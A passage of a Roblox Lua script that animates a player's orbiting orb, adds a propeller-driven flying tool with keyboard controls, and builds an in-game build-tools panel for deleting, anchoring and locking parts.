- else for _,v in pairs(iOrb.Orb.Parent:GetChildren())do if v.Name=="cTrail" and v:IsA("BasePart") then v:remove() end end end
- end
- until false end))
- -- Particles --
- coroutine.resume(coroutine.create(function() repeat wait(.1)
- if iOrb.Orb~=nil and iOrb.LoadAnimation then
- if iOrb.Particles then
- coroutine.resume(coroutine.create(iParticlesCreation),iOrb.Orb.CFrame.p,iOrb.PDist)
- else for _,v in pairs(iOrb.Orb.Parent:GetChildren())do if v.Name=="cParticle" and v:IsA("BasePart") then v:remove() end end end
- end
- until false end))
- -- Properties Loops --
- coroutine.resume(coroutine.create(function() repeat wait() if iOrb.Orb~=nil and iOrb.Part then
- iOrb.Orb.Locked=true
- iOrb.Orb.Anchored=true
- iOrb.Orb.CanCollide=false end
- if iOrb.OrbTorso~=nil then
- iOrb.OrbTorso.Anchored=false
- iOrb.OrbTorso.Locked=true
- iOrb.OrbTorso.CanCollide=false
- end
- if iOrb.Model~=nil then
- iOrb.Model.Archivable=false
- end
- until false end))
- -- Color Change --
- coroutine.resume(coroutine.create(function() repeat wait(.5)
- if iOrb.Orb~=nil and iOrb.Part then
- for i=iOrb.ColorOne,iOrb.ColorTwo,iOrb.ColorChangeSpeed/255 do wait()
- if iOrb.Orb~=nil and iOrb.Part then
- if iOrb.ColorChange and iOrb.Part and iOrb.Orb~=nil then
- iOrb.Orb.Color=Color3.new(i,i-15/255,i)
- end
- if iOrb.Fire~=nil then
- if iOrb.Fire.Enabled then
- if iOrb.FireColorChange then
- iOrb.Fire.Color=Color3.new(1-i,1-i,1-i)
- iOrb.Fire.SecondaryColor=Color3.new(i,i,i)
- end
- end
- end
- end
- end wait(.5)
- for i=iOrb.ColorTwo,iOrb.ColorOne,-iOrb.ColorChangeSpeed/255 do wait()
- if iOrb.Orb~=nil and iOrb.Part then
- if iOrb.ColorChange and iOrb.Part and iOrb.Orb~=nil then
- iOrb.Orb.Color=Color3.new(i,i-15/255,i)
- end
- if iOrb.Fire~=nil then
- if iOrb.Fire.Enabled then
- if iOrb.FireColorChange then
- iOrb.Fire.Color=Color3.new(1-i,1-i,1-i)
- iOrb.Fire.SecondaryColor=Color3.new(i,i,i)
- end
- end
- end
- end
- end
- end
- until false end))
- -- ID Inserter --
- function iInsertool(player,id) if player~=nil and id~=nil then game:GetService("InsertService"):ApproveAssetId(id)
- local insrt = game:GetService("InsertService"):LoadAsset(id)
- for _, v in pairs(insrt:GetChildren()) do
- if player:FindFirstChild("Backpack") then v:Clone().Parent = player:FindFirstChild("Backpack")
- else local bpk=Instance.new("Backpack",player) v:Clone().Parent = bpk end
- end end end
- -- Orb Torso Motor and Transparency --
- coroutine.resume(coroutine.create(function() repeat wait()
- if iOrb.Orb~=nil and iOrb.OrbTorso~=nil then
- iOrb.OrbTorso.Transparency = 1
- iOrb.OrbTorso.Reflectance = 1
- if not iOrb.OrbTorso:FindFirstChild("Neck") then
- local motor = Instance.new("Motor6D",iOrb.OrbTorso)
- motor.Name = "Neck"
- motor.Part0 = iOrb.OrbTorso
- motor.Part1 = iOrb.Orb
- end
- if iOrb.OrbTorso:FindFirstChild("Neck") then
- local motor = iOrb.OrbTorso.Neck
- motor.Part0 = iOrb.Orb
- motor.Part1 = iOrb.OrbTorso
- end
- end
- until false end))
- -- Rotation and Levitation --
- coroutine.resume(coroutine.create(function() local i=1 repeat wait()
- if iOrb.Turn then
- if iOrb.RotSpeed > 0 then
- if iOrb.OrbParent~=nil and iOrb.Torso~=nil and iOrb.Part and iOrb.Orb~=nil and iOrb.Move and iOrb.Orbed==false then
- if i==360 then i=1 end
- iOrb.Orb.CFrame=CFrame.new(iOrb.Torso.CFrame.p)*CFrame.new(Vector3.new(iOrb.BaseX*math.cos(math.rad(i)),iOrb.LeviY,iOrb.BaseX*math.sin(math.rad(i))))
- iOrb.Orb.CFrame=CFrame.new(iOrb.Orb.CFrame.p,iOrb.Torso.CFrame.lookVector*10000)
- if i+iOrb.RotSpeed > 360 then i=360 else i=i+iOrb.RotSpeed end
- end
- elseif iOrb.RotSpeed < 0 then
- if iOrb.OrbParent~=nil and iOrb.Torso~=nil and iOrb.Part and iOrb.Orb~=nil and iOrb.Move and iOrb.Orbed==false then
- if i==360 then i=1 end
- iOrb.Orb.CFrame=CFrame.new(iOrb.Torso.CFrame.p)*CFrame.new(Vector3.new(iOrb.BaseX*math.cos(-math.rad(i)),iOrb.LeviY,iOrb.BaseX*math.sin(-math.rad(i))))
- iOrb.Orb.CFrame=CFrame.new(iOrb.Orb.CFrame.p,iOrb.Torso.CFrame.lookVector*10000)
- if i-iOrb.RotSpeed > 360 then i=360 else i=i-iOrb.RotSpeed end
- end
- elseif iOrb.RotSpeed==0 then
- if iOrb.OrbParent~=nil and iOrb.Torso~=nil and iOrb.Part and iOrb.Orb~=nil and iOrb.Move and iOrb.Orbed==false then
- iOrb.Orb.CFrame=iOrb.Torso.CFrame*CFrame.new(Vector3.new(iOrb.BaseX,iOrb.LeviY,-iOrb.BaseZ))
- iOrb.Orb.CFrame=CFrame.new(iOrb.Orb.CFrame.p,iOrb.Torso.CFrame.lookVector*10000)
- end
- end
- else if iOrb.OrbParent~=nil and iOrb.Torso~=nil and iOrb.Part and iOrb.Orb~=nil and iOrb.Move and iOrb.Orbed==false then
- iOrb.Orb.CFrame=iOrb.Torso.CFrame*CFrame.new(Vector3.new(iOrb.BaseX,iOrb.LeviY,-iOrb.BaseZ))
- iOrb.Orb.CFrame=CFrame.new(iOrb.Orb.CFrame.p,iOrb.Torso.CFrame.lookVector*10000)
- end end
- until false end))
- -- Levitation Values --
- coroutine.resume(coroutine.create(function() repeat
- if iOrb.OrbParent~=nil and iOrb.Torso~=nil and iOrb.Part and iOrb.Orb~=nil and iOrb.Move and iOrb.Orbed==false then
- function leviUp(n,n2)
- for i=iOrb.BaseY,iOrb.BaseY+iOrb.LeviRise*n,iOrb.LeviSpeed*n2 do
- wait()iOrb.LeviY=i
- end
- end
- function leviDown(n,n2)
- for i=iOrb.BaseY+iOrb.LeviRise*n,iOrb.BaseY,iOrb.LeviSpeed*n2 do
- wait()iOrb.LeviY=i
- end
- end
- leviUp(1,1)wait(.05)leviDown(1,-1)leviUp(-1,-1)wait(.05)leviDown(-1,1)
- else wait(.1) end
- until false end))
- -- iStriker Function v1 --
- function iStriker()
- local player = game:GetService("Players").LocalPlayer
- local bin = Instance.new("HopperBin", player.Backpack)
- bin.Name = "iStriker unit"
- local camera = game:GetService("Workspace").CurrentCamera
- local character = player.Character
- local torso = character:FindFirstChild("Torso")
- local humanoid = character:FindFirstChild("Humanoid")
- local neck = torso:FindFirstChild("Neck")
- local rightLeg = character:FindFirstChild("Right Leg")
- local leftLeg = character:FindFirstChild("Left Leg")
- local rightHip = torso:FindFirstChild("Right Hip")
- local leftHip = torso:FindFirstChild("Left Hip")
- local neckAngle = neck.C1
- local rightHipAngle = rightHip.C1
- local leftHipAngle = leftHip.C1
- local leftWeld = Instance.new("Weld")
- local rightWeld = Instance.new("Weld")
- local velocity = Instance.new("BodyVelocity")
- local gyro = Instance.new("BodyGyro")
- local pos = Instance.new("BodyPosition")
- local parts = {"StrikerOne", "StrikerTwo", "JointOne", "JointTwo", "PropellerOne", "PropellerTwo"}
- local welds = {"SWelderOne", "SWelderTwo", "JWelderOne", "JWelderTwo", "PWelderOne", "PWelderTwo"}
- local strikerColor = "Really black"
- local propellerColor = "White"
- local jointColor = "Bright green"
- local mainModel = Instance.new("Model")
- local cframePart = Instance.new("Part")
- local toolSelected = false
- local runNext = false
- local strikerLoaded = false
- local connected = false
- local turn = false
- local forward = false
- local backward = false
- local onleft = false
- local onright = false
- local onup = false
- local ondown = false
- local gyroAngleX = 0
- local desiredGyroAngleX = 0
- local gyroAngleY = 0
- local desiredGyroAngleY = 0
- local gyroAngleZ = 0
- local desiredGyroAngleZ = 0
- local angleSetSpeed = 5
- local rotationIndice = 0
- local maxRotation = 70
- local motorSpeed = 0
- local desiredSpeed = 0
- local xPartPos = 0
- local desiredXPartPos = 0
- local yPartPos = 0
- local desiredYPartPos = 0
- function Strk(delay)
- wait(delay)
- mainModel.Name = "Striker"
- mainModel.Archivable = false
- mainModel.Parent = character
- for index, name in pairs(parts) do
- getfenv()[name] = Instance.new("Part")
- getfenv()[name].Name = name
- getfenv()[name].Anchored = true
- getfenv()[name].Locked = true
- getfenv()[name].CanCollide = false
- getfenv()[name].Transparency = 1
- getfenv()[name].CFrame = CFrame.new(0, math.huge, 0)
- getfenv()[name].FormFactor = Enum.FormFactor.Custom
- getfenv()[name].BottomSurface = Enum.SurfaceType.Smooth
- getfenv()[name].TopSurface = Enum.SurfaceType.Smooth
- if index <= 2 then
- getfenv()[name].BrickColor = BrickColor.new(strikerColor)
- getfenv()[name].Size = Vector3.new(1.1, 1.5, 1.1)
- elseif index == 3 or index == 4 then
- getfenv()[name].BrickColor = BrickColor.new(jointColor)
- getfenv()[name].Size = Vector3.new(0.25, 0.25, 0.25)
- elseif index >= 5 then
- getfenv()[name].BrickColor = BrickColor.new(propellerColor)
- getfenv()[name].Size = Vector3.new(1.55, 0.2, 0.2)
- end
- getfenv()[name].Parent = mainModel
- coroutine.resume(coroutine.create(function()
- for i = getfenv()[name].Transparency, 0, -0.1 do
- if toolSelected then wait() getfenv()[name].Transparency = i end
- end
- end))
- end
- for index, name in pairs(welds) do
- getfenv()[name] = Instance.new("Weld")
- getfenv()[name].Parent = mainModel
- getfenv()[name].Name = name
- if index == 1 then
- getfenv()[name].Part0 = leftLeg
- StrikerOne.Anchored = false
- getfenv()[name].Part1 = StrikerOne
- getfenv()[name].C1 = CFrame.new(0, 0.35, 0)
- elseif index == 2 then
- getfenv()[name].Part0 = rightLeg
- StrikerTwo.Anchored = false
- getfenv()[name].Part1 = StrikerTwo
- getfenv()[name].C1 = CFrame.new(0, 0.35, 0)
- elseif index == 3 then
- getfenv()[name].Part0 = StrikerOne
- JointOne.Anchored = false
- getfenv()[name].Part1 = JointOne
- getfenv()[name].C1 = CFrame.new(0, 0.775, 0)
- JointOne.CanCollide = true
- elseif index == 4 then
- getfenv()[name].Part0 = StrikerTwo
- JointTwo.Anchored = false
- getfenv()[name].Part1 = JointTwo
- getfenv()[name].C1 = CFrame.new(0, 0.775, 0)
- JointTwo.CanCollide = true
- elseif index == 5 then
- getfenv()[name].Part0 = JointOne
- PropellerOne.Anchored = false
- getfenv()[name].Part1 = PropellerOne
- elseif index == 6 then
- getfenv()[name].Part0 = JointTwo
- PropellerTwo.Anchored = false
- getfenv()[name].Part1 = PropellerTwo
- end
- end
- wait(0.1)
- strikerLoaded = true
- end
- function Connection(mouse)
- toolSelected = true
- coroutine.resume(coroutine.create(function() repeat wait()
- if toolSelected then
- if leftHip ~= nil then
- leftHip.DesiredAngle = 0
- leftHip.CurrentAngle = 0
- end
- if rightHip ~= nil then
- rightHip.DesiredAngle = 0
- rightHip.CurrentAngle = 0
- end
- runNext = true
- else break end
- until false return false end))
- repeat wait() until runNext
- humanoid.PlatformStand = true
- torso.Anchored = true wait()
- torso.Velocity = Vector3.new(0, 0, 0)
- torso.RotVelocity = Vector3.new(0, 0, 0)
- leftHipAngle = leftHip.C1
- rightHipAngle = rightHip.C1
- pos.maxForce = Vector3.new(math.huge, math.huge, math.huge)
- pos.Parent = torso
- pos.position = torso.CFrame.p
- torso.Anchored = false
- coroutine.resume(coroutine.create(Strk),0.2)
- for i = 1, 20, 1 do wait()
- if toolSelected then
- pos.position = pos.position + Vector3.new(0, 0.2, 0)
- torso.CFrame = torso.CFrame * CFrame.fromEulerAnglesXYZ(0, math.rad(18), 0)
- humanoid.PlatformStand = true
- leftHip.C1 = leftHip.C1 * CFrame.new(0, -0.01, 0) * CFrame.fromEulerAnglesXYZ(math.rad(0.5), -math.rad(0.5), -math.rad(0.5))
- rightHip.C1 = rightHip.C1 * CFrame.new(0, -0.01, 0) * CFrame.fromEulerAnglesXYZ(math.rad(0.5), math.rad(0.5), math.rad(0.5))
- end
- end
- local x22, y22, z22 = leftHip.C1:toEulerAnglesXYZ()
- repeat wait() until strikerLoaded
- gyro.maxTorque = Vector3.new(math.huge, math.huge, math.huge)
- gyro.Parent = torso
- gyro.P = 1500
- velocity.Parent = torso
- velocity.maxForce = Vector3.new(5500, 5500, 5500)
- velocity.P = 100
- if pos ~= nil then if pos.Parent == torso then pos:remove() end end
- coroutine.resume(coroutine.create(function()
- while strikerLoaded do wait(0.03405) if toolSelected and rotationIndice < maxRotation then rotationIndice = rotationIndice + 0.25
- if desiredSpeed ~= 0 then if desiredSpeed > 0 then motorSpeed = desiredSpeed - (maxRotation - rotationIndice) elseif desiredSpeed < 0 then motorSpeed = desiredSpeed + (maxRotation - rotationIndice) end else motorSpeed = 0 end
- if desiredXPartPos ~= 0 then if desiredXPartPos > 0 then xPartPos = desiredXPartPos - (maxRotation/2 - rotationIndice/2) elseif desiredXPartPos < 0 then xPartPos = desiredXPartPos + (maxRotation/2 - rotationIndice/2) end else xPartPos = 0 end
- if desiredYPartPos ~= 0 then if desiredYPartPos > 0 then yPartPos = desiredYPartPos - (maxRotation/2 - rotationIndice/2) elseif desiredYPartPos < 0 then yPartPos = desiredYPartPos + (maxRotation/2 - rotationIndice/2) end else yPartPos = 0 end
- if desiredGyroAngleX ~= 0 then if desiredGyroAngleX > 0 then gyroAngleX = math.rad(desiredGyroAngleX - (maxRotation - rotationIndice)) elseif desiredGyroAngleX < 0 then gyroAngleX = math.rad(desiredGyroAngleX + (maxRotation - rotationIndice)) end else gyroAngleX = 0 end
- if desiredGyroAngleY ~= 0 then if desiredGyroAngleY > 0 then gyroAngleY = math.rad(desiredGyroAngleY - (maxRotation - rotationIndice)) elseif desiredGyroAngleY < 0 then gyroAngleY = math.rad(desiredGyroAngleY + (maxRotation - rotationIndice)) end else gyroAngleY = 0 end
- if desiredGyroAngleZ ~= 0 then if desiredGyroAngleZ > 0 then gyroAngleZ = math.rad(desiredGyroAngleZ - (maxRotation - rotationIndice)) elseif desiredGyroAngleZ < 0 then gyroAngleZ = math.rad(desiredGyroAngleZ + (maxRotation - rotationIndice)) end else gyroAngleZ = 0 end
- elseif toolSelected and rotationIndice == maxRotation then humanoid.PlatformStand = true motorSpeed = desiredSpeed gyroAngleX = math.rad(desiredGyroAngleX) gyroAngleY = math.rad(desiredGyroAngleY) gyroAngleZ = math.rad(desiredGyroAngleZ) xPartPos = desiredXPartPos yPartPos = desiredYPartPos end
- if PropellerOne ~= nil and PWelderOne ~= nil then
- PWelderOne.C1 = PWelderOne.C1 * CFrame.fromEulerAnglesXYZ(0, -math.rad(rotationIndice), 0)
- end
- if PropellerTwo ~= nil and PWelderTwo ~= nil then
- PWelderTwo.C1 = PWelderTwo.C1 * CFrame.fromEulerAnglesXYZ(0, math.rad(rotationIndice), 0)
- end
- if cframePart ~= nil then
- cframePart.Size = Vector3.new(0.2, 0.2, 0.2)
- cframePart.CFrame = CFrame.new(torso.CFrame.p, camera.CoordinateFrame.lookVector * 10000000) + Vector3.new(xPartPos, yPartPos, 0)
- end
- if velocity ~= nil then if velocity.Parent == torso then velocity.velocity = (cframePart.CFrame - cframePart.CFrame.p) * Vector3.new(xPartPos, yPartPos, -motorSpeed) end end
- if gyro ~= nil then if gyro.Parent == torso then gyro.cframe = CFrame.new(gyro.cframe.p, camera.CoordinateFrame.lookVector * 10000000) * CFrame.fromEulerAnglesXYZ(gyroAngleX, gyroAngleY, gyroAngleZ) end end
- end return
- end)) connected = true stand = true
- mouse.KeyDown:connect(function(key) key = key:lower()
- if key == "w" then ForwardDown()
- elseif key == "s" then BackwardDown()
- elseif key == "a" then LeftDown()
- elseif key == "d" then RightDown()
- elseif key == "e" then UpDown()
- elseif key == "q" then DownDown()
- end end)
- mouse.KeyUp:connect(function(key) key = key:lower()
- if key == "w" then ForwardUp() if backward then BackwardDown() end
- elseif key == "s" then BackwardUp() if forward then ForwardDown() end
- elseif key == "a" then LeftUp() if onright then RightDown() end
- elseif key == "d" then RightUp() if onleft then LeftDown() end
- elseif key == "e" then UpUp() if ondown then DownDown() end
- elseif key == "q" then DownUp() if onup then UpDown() end
- end end)
- end
- function Disconnection()
- toolSelected = false wait()
- for index, name in pairs(parts) do
- if getfenv()[name] ~= nil then
- coroutine.resume(coroutine.create(function()
- for i = getfenv()[name].Transparency, 1, 0.1 do wait()
- getfenv()[name].Transparency = i
- end
- end))
- end
- end
- pos.maxForce = Vector3.new(math.huge, math.huge, math.huge)
- pos.Parent = torso
- pos.position = torso.CFrame.p
- coroutine.resume(coroutine.create(Strk),0.2)
- for i = 1, 10, 1 do wait()
- pos.position = pos.position - Vector3.new(0, 0.15, 0)
- humanoid.PlatformStand = true
- leftHip.C1 = leftHip.C1 * CFrame.new(0, 0.02, 0) * CFrame.fromEulerAnglesXYZ(math.rad(-1), -math.rad(-1), -math.rad(-1))
- rightHip.C1 = rightHip.C1 * CFrame.new(0, 0.02, 0) * CFrame.fromEulerAnglesXYZ(math.rad(-1), math.rad(-1), math.rad(-1))
- end wait()
- humanoid.PlatformStand = false
- if pos ~= nil then if pos.Parent == torso then pos:remove() end end
- if gyro ~= nil then if gyro.Parent == torso then gyro:remove() end end
- if velocity ~= nil then if velocity.Parent == torso then velocity:remove() end end
- if mainModel ~= nil then mainModel:remove() end
- strikerLoaded = false
- rotationIndice = 0
- motorSpeed = 0
- desiredSpeed = 0
- ForwardUp()
- BackwardUp()
- LeftUp()
- RightUp()
- forward = false
- backward = false
- onleft = false
- onright = false
- onup = false
- ondown = false
- leftHip.C1 = leftHipAngle
- rightHip.C1 = rightHipAngle
- connected = false
- end
- function ForwardDown() forward = true
- desiredGyroAngleX = -maxRotation
- desiredSpeed = maxRotation
- end
- function BackwardDown() backward = true
- desiredGyroAngleX = maxRotation
- desiredSpeed = -maxRotation
- end
- function ForwardUp() forward = false
- desiredGyroAngleX = 0
- desiredSpeed = 0
- end
- function BackwardUp() backward = false
- desiredGyroAngleX = 0
- desiredSpeed = 0
- end
- function LeftDown() onleft = true
- desiredGyroAngleY = -maxRotation
- desiredXPartPos = -maxRotation/2
- end
- function RightDown() onright = true
- desiredGyroAngleY = maxRotation
- desiredXPartPos = maxRotation/2
- end
- function LeftUp() onleft = false
- desiredGyroAngleY = 0
- desiredXPartPos = 0
- end
- function RightUp() onright = false
- desiredGyroAngleY = 0
- desiredXPartPos = 0
- end
- function UpDown() onup = true
- desiredYPartPos = maxRotation/2
- end
- function DownDown() ondown = true
- desiredYPartPos = -maxRotation/2
- end
- function UpUp() onup = false
- desiredYPartPos = 0
- end
- function DownUp() ondown = false
- desiredYPartPos = 0
- end
- bin.Selected:connect(Connection)
- bin.Deselected:connect(Disconnection)
- end
- -- iBTool Function v2 --
- function iCreateBtools()
- plr=iOrb.Player
- if plr:FindFirstChild("PlayerGui") then plg=plr.PlayerGui else return end
- bin=Instance.new("HopperBin",plr:FindFirstChild("Backpack"))
- bin.Name="iBTools"
- bin.Selected:connect(function(mouse)
- box=Instance.new("SelectionBox")
- lso=Instance.new("SelectionPointLasso")
- lso.Visible=false
- coroutine.resume(coroutine.create(function() repeat wait() if iOrb.Humanoid~=nil then
- lso.Humanoid=iOrb.Humanoid end until false end))
- md1=1
- md2=1
- md3=1
- clr=true
- ste=false
- lvi=false
- cle=false
- tme=.5
- function createGui()
- gui=Instance.new("ScreenGui",plg)
- gui.Name="iBGui"
- --PanelGUI--
- frm=Instance.new("Frame",gui)
- frm.Visible=false
- frm.Name="iBPanel"
- frm.Position=UDim2.new(0.0199999996,0,0.400000006,0)
- frm.Size=UDim2.new(0.150000006,0,0.400000006,0)
- frm.Style="RobloxRound"
- frm.ZIndex=8
- lab=Instance.new("TextLabel",frm)
- lab.Name="iBTitle"
- lab.BackgroundTransparency=1
- lab.Size=UDim2.new(1,0,0.150000006,0)
- lab.ZIndex=9
- lab.Font="ArialBold"
- lab.FontSize="Size18"
- lab.Text="iBuildTools Panel"
- lab.TextColor3=Color3.new(1,1,1)
- lab.TextStrokeTransparency=0
- lab.TextStrokeColor3=Color3.new(0,0,0)
- del=Instance.new("TextButton",frm)
- del.Name="iBDelete"
- del.BackgroundTransparency=1
- del.Position=UDim2.new(0,0,0.200000003,0)
- del.Size=UDim2.new(1,0,0.119999997,0)
- del.Style="RobloxButtonDefault"
- del.ZIndex=9
- del.Font="ArialBold"
- del.FontSize="Size12"
- del.Text="Delete"
- del.TextColor3=Color3.new(1,1,1)
- del.Selected=true
- ach=Instance.new("TextButton",frm)
- ach.Name="iBAnchor"
- ach.BackgroundTransparency=1
- ach.Position=UDim2.new(0,0,0.330000013,0)
- ach.Size=UDim2.new(1,0,0.119999997,0)
- ach.Style="RobloxButton"
- ach.ZIndex=9
- ach.Font="ArialBold"
- ach.FontSize="Size12"
- ach.Text="Anchor"
- ach.TextColor3=Color3.new(1,1,1)
- col=Instance.new("TextButton",frm)
- col.Name="iBCanCollide"
- col.BackgroundTransparency=1
- col.Position=UDim2.new(0,0,0.460000008,0)
- col.Size=UDim2.new(1,0,0.119999997,0)
- col.Style="RobloxButton"
- col.ZIndex=9
- col.Font="ArialBold"
- col.FontSize="Size12"
- col.Text="CanCollide"
- col.TextColor3=Color3.new(1,1,1)
- lck=Instance.new("TextButton",frm)
- lck.Name="iBLock"
- lck.BackgroundTransparency=1
- lck.Position=UDim2.new(0,0,0.579999983,0)
- lck.Size=UDim2.new(1,0,0.119999997,0)
- lck.Style="RobloxButton"
- lck.ZIndex=9
- lck.Font="ArialBold"
- lck.FontSize="Size12"
- lck.Text="Lock"
- lck.TextColor3=Color3.new(1,1,1)
- brk=Instance.new("TextButton",frm)
- brk.Name="iBBreak"
- brk.BackgroundTransparency=1
- brk.Position=UDim2.new(0,0,0.699999988,0)
- brk.Size=UDim2.new(1,0,0.119999997,0)
- brk.Style="RobloxButton"
- brk.ZIndex=9
- brk.Font="ArialBold"
- brk.FontSize="Size12"
- brk.Text="BreakJoints"
- brk.TextColor3=Color3.new(1,1,1)
- set=Instance.new("TextButton",frm)
- set.Name="iBSettings"
- set.BackgroundTransparency=1
- set.Position=UDim2.new(0,0,0.829999983,0)
- set.Size=UDim2.new(1,0,0.119999997,0)
- set.Style="RobloxButton"
- set.ZIndex=9
- set.Font="ArialBold"
- set.FontSize="Size12"
- set.Text="Settings"
- set.TextColor3=Color3.new(1,1,1)
- frm.Visible=true
- --SettingsGUI--
- frs=Instance.new("Frame",gui)
- frs.Visible=false
- frs.Name="iBSettings"
- frs.Position=UDim2.new(0.389999986,0,0.400000006,0)
- frs.Size=UDim2.new(0.25,0,0.25,0)
- frs.Style="RobloxRound"
- frs.ZIndex=8
- frw=Instance.new("Frame",frs)
- frw.Name="iBWindow"
- frw.Position=UDim2.new(0,0,0.25999999,0)
- frw.Size=UDim2.new(1,0,0.74000001,0)
- frw.Style="RobloxRound"
- frw.ZIndex=8
- cls=Instance.new("TextButton",frs)
- cls.Name="iBClose"
- cls.Position=UDim2.new(0.850000024,0,-0.00999999978,0)
- cls.Size=UDim2.new(0.150000006,0,0.219999999,0)
- cls.Style="RobloxButtonDefault"
- cls.ZIndex=10
- cls.Font="ArialBold"
- cls.FontSize="Size12"
- cls.Text="X"
- cls.TextColor3=Color3.new(1,0,0)
- wtl=Instance.new("TextLabel",frs)
- wtl.Name="iBTitle"
- wtl.BackgroundTransparency=1
- wtl.Size=UDim2.new(1,0,0.25,0)
- wtl.ZIndex=9
- wtl.Font="ArialBold"
- wtl.FontSize="Size14"
- wtl.Text="iBuildTools Settings Window"
- wtl.TextColor3=Color3.new(1,1,1)
- wtl.TextStrokeColor3=Color3.new(0,0,0)
- wtl.TextStrokeTransparency=0
- wtl.TextXAlignment="Left"
- clk=Instance.new("TextLabel",frw)
- clk.Name="iBClick"
- clk.BackgroundTransparency=1
- clk.Size=UDim2.new(1,0,0.330000013,0)
- clk.ZIndex=10
- clk.Font="ArialBold"
- clk.FontSize="Size12"
- clk.TextColor3=Color3.new(1,1,1)
- clk.Text=" - Click Mode : "
- clk.TextStrokeColor3=Color3.new(0,0,0)
- clk.TextStrokeTransparency=0
- clk.TextXAlignment="Left"
- ray=Instance.new("TextLabel",frw)
- ray.Name="iBRay"
- ray.BackgroundTransparency=1
- ray.Position=UDim2.new(0,0,0.330000013,0)
- ray.Size=UDim2.new(1,0,0.330000013,0)
- ray.ZIndex=10
- ray.Font="ArialBold"
- ray.FontSize="Size12"
- ray.TextColor3=Color3.new(1,1,1)
- ray.Text=" - Ray Mode : "
- ray.TextStrokeColor3=Color3.new(0,0,0)
- ray.TextStrokeTransparency=0
- ray.TextXAlignment="Left"
- rfc=Instance.new("TextLabel",frw)
- rfc.Name="iBRayFunction"
- rfc.BackgroundTransparency=1
- rfc.Position=UDim2.new(0,0,0.660000013,0)
- rfc.Size=UDim2.new(1,0,0.330000013,0)
- rfc.ZIndex=10
- rfc.Font="ArialBold"
- rfc.FontSize="Size12"
- rfc.TextColor3=Color3.new(1,1,1)
- rfc.Text=" - Ray Function : "
- rfc.TextStrokeColor3=Color3.new(0,0,0)
- rfc.TextStrokeTransparency=0
- rfc.TextXAlignment="Left"
- ckb=Instance.new("TextButton",frw)
- ckb.Name="iBClickButton"
- ckb.Position=UDim2.new(0.400000006,0,0,0)
- ckb.Size=UDim2.new(0.600000024,0,0.330000013,0)
- ckb.ZIndex=10
- ckb.Selected=true
- ckb.Style="RobloxButtonDefault"
- ckb.Font="ArialBold"
- ckb.FontSize="Size12"
- ckb.Text="Enabled"
- ckb.TextColor3=Color3.new(0,1,0)
- ryb=Instance.new("TextButton",frw)
- ryb.Name="iBRayButton"
- ryb.Position=UDim2.new(0.400000006,0,0.330000013,0)
- ryb.Size=UDim2.new(0.600000024,0,0.330000013,0)
- ryb.Style="RobloxButton"
- ryb.ZIndex=10
- ryb.Font="ArialBold"
- ryb.FontSize="Size12"
- ryb.Text="Disabled"
- ryb.TextColor3=Color3.new(1,0,0)
- rfb=Instance.new("TextButton",frw)
- rfb.Name="iBRayFButton"
- rfb.Position=UDim2.new(0.400000006,0,0.660000013,0)
- rfb.Size=UDim2.new(0.600000024,0,0.330000013,0)
- rfb.Style="RobloxButtonDefault"
- rfb.ZIndex=10
- rfb.Font="ArialBold"
- rfb.FontSize="Size12"
- rfb.Text="Enable Propertie"
- rfb.TextColor3=Color3.new(0,1,0)
- end createGui()
- coroutine.resume(coroutine.create(function()
- while(mouse)and wait() do
- if(box)and(ray)then
- if(lvi)then
- lso.Visible=true
- else
- lso.Visible=false
- end
- if(md1==1)then
- if(clr)then
- if(mouse.Target~=nil)then
- if(mouse.Target:IsA("BasePart"))and(mouse.Target~=iOrb.Orb)or(mouse.Target.Name~="cParticle")or(mouse.Target.Name~="cParticle2")then
- box.Visible=true
- box.Parent=game.Workspace.CurrentCamera
- box.Adornee=mouse.Target
- if(md2==1)then
- box.Color=BrickColor.new("Bright red")
- elseif(md2==2)then
- if(mouse.Target.Anchored)then
- box.Color=BrickColor.new("Camo")
- else
- box.Color=BrickColor.new("Bright red")
- end
- elseif(md2==3)then
- if(mouse.Target.CanCollide)then
- box.Color=BrickColor.new("Camo")
- else
- box.Color=BrickColor.new("Bright red")
- end
- elseif(md2==4)then
- if(mouse.Target.Locked)then
- box.Color=BrickColor.new("Camo")
- else
- box.Color=BrickColor.new("Bright red")
- end
- elseif(md2==5)then
- box.Color=BrickColor.new("Bright blue")
- end
- end
- else
- box.Visible=false
- box.Parent=nil
- box.Adornee=nil
- end
- end
- elseif(md1==2)then
- lso.Point=mouse.Hit.p
- box.Visible=false
- box.Parent=nil
- box.Adornee=nil
- if(md2~=1)and(md2~=5)then
- if(md3==1)then
- lso.Color=BrickColor.new("Camo")
- elseif(md3==2)then
- lso.Color=BrickColor.new("Bright red")
- end
- elseif(md2==1)then
- if(cle)then
- lso.Color=BrickColor.new("Bright red")
- else
- lso.Color=BrickColor.new("Bright blue")
- end
- elseif(md2==5)then
- if(cle)then
- lso.Color=BrickColor.new("Bright red")
- else
- lso.Color=BrickColor.new("Bright blue")
- end
- end
- end
- end
- end
- end))
- function delDown()
- del_downFunc=mouse.Button1Down:connect(function()
- md2=1
- if(md2==1)then
- if(md1==1)then
- if(mouse.Target~=nil)then
- if(mouse.Target:IsA("BasePart"))and(mouse.Target~=iOrb.Orb)or(mouse.Target.Name~="cParticle")or(mouse.Target.Name~="cParticle2")then
- mouse.Target:remove()
- end
- end
- elseif(md1==2)then
- lvi=true
- lso.Parent=game.Workspace.CurrentCamera
- while(lvi)and wait() do
- if(mouse.Target~=nil)then
- if(mouse.Target:IsA("BasePart"))and(mouse.Target~=iOrb.Orb)or(mouse.Target.Name~="cParticle")or(mouse.Target.Name~="cParticle2")then
- mouse.Target:remove()
- cle=true
- wait(tme)
- cle=false
- else
- cle=false
- end
- else
- cle=false
- end
- end
- end
- end
- end)
- end
- function delUp()
- del_upFunc=mouse.Button1Up:connect(function()
- lvi=false
- cle=false
- lso.Parent=nil
- end)
- end
- function achDown()
- ach_downFunc=mouse.Button1Down:connect(function()
- md2=2
- if(md2==2)then
- if(md1==1)then
- if(mouse.Target~=nil)then
- if(mouse.Target:IsA("BasePart"))and(mouse.Target~=iOrb.Orb)or(mouse.Target.Name~="cParticle")or(mouse.Target.Name~="cParticle2")then
- if(mouse.Target.Anchored)then
- mouse.Target.Anchored=false
- else
- mouse.Target.Anchored=true
- end
- end
- end
- elseif(md1==2)then
- lvi=true
- lso.Parent=game.Workspace.CurrentCamera
- while(lvi)and wait() do
- if(mouse.Target~=nil)then
- if(mouse.Target:IsA("BasePart"))and(mouse.Target~=iOrb.Orb)or(mouse.Target.Name~="cParticle")or(mouse.Target.Name~="cParticle2")then
- if(md3==1)then
- mouse.Target.Anchored=true
- elseif(md3==2)then
- mouse.Target.Anchored=false
- end
